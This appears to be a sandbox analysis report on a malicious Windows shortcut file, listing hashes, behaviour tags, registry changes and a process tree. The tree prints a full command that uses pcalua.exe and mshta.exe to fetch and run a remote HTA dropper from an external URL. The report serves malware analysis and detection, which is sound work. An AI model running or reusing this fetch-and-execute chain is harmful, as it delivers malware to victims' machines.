fecc709e85c8951c24b3c315c235c99c46c1cd0a843779d4f4cba545cec0f52c

General

Target
DOC-CCJYGT.lnk
Size 577B
Sample260731-p4ejesag77
SHA256 fecc709e85c8951c24b3c315c235c99c46c1cd0a843779d4f4cba545cec0f52c
MD5 b442132b53b81260bf4b4224bb7f728b
SHA1 9bcb52b8cbe56db9067798da5b817290a5069219
SHA512 c8e669978c2c0c353d83740c2dd69cabd1db9f90379f624fd7a3a4e1b17da214e460cdb3f39ee9f0323d9c57a079f7dbfdef333fc6a49c4251159de4ac5a8388
TLSH
T108F0D8046DFA0620D2B3CE7B409B670485FB7553DF66CF5D414445585034100F57AF3B
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://pdf-bro.lat/h/estagio1.php?r=360761F15794

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4440	mshta.exe
4	4440	mshta.exe
5	4440	mshta.exe
6	4440	mshta.exe
7	4440	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1816	cmd.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 24 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\MuiCache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2216	rundll32.exe
1288	rundll32.exe
2664	rundll32.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1816 wrote to memory of 1780	1816	cmd.exe	90
PID 1780 wrote to memory of 4440	1780	pcalua.exe	91
PID 4440 wrote to memory of 2216	4440	mshta.exe	93
PID 4440 wrote to memory of 1288	4440	mshta.exe	94
PID 4440 wrote to memory of 2664	4440	mshta.exe	95
PID 1288 wrote to memory of 2692	1288	rundll32.exe	96
PID 2664 wrote to memory of 1768	2664	rundll32.exe	97
PID 2216 wrote to memory of 4996	2216	rundll32.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-CCJYGT.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1816
- C:\WINDOWS\system32\pcalua.exe
  "C:\WINDOWS\system32\pcalua.exe" -a mshta.exe -c "https://pdf-bro.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1780
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "https://pdf-bro.lat/h/estagio1.php?r=360761F15794"
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:4440
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2216
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:4996
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:1288
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:2692
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2664
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:1768